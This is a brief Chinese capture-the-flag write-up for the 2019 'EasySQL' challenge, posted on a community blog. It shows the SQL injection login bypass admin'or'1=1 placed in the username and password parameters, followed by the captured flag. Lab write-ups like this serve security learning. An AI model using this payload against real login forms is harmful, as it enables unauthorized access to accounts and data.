[极客大挑战 2019]EasySQL 题解

举报
御麟 发表于 2023/04/26 20:46:57 2023/04/26
【摘要】 ​连接靶机器,进入网站​编辑​编辑输入一个假用户名和密码进入 ​编辑​编辑可以看到上面的参数为username=1&password=1我们将参数改为万能密码username=admin'or'1=1&password=admin'or'1=1 ​编辑flag{4a55aeb3-93f3-43e5-8349-7d8688bb0e09} ​

连接靶机器,进入网站

编辑


编辑

输入一个假用户名和密码进入 

编辑

编辑

可以看到上面的参数为username=1&password=1

我们将参数改为万能密码

username=admin'or'1=1&password=admin'or'1=1 

编辑

flag{4a55aeb3-93f3-43e5-8349-7d8688bb0e09} 

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。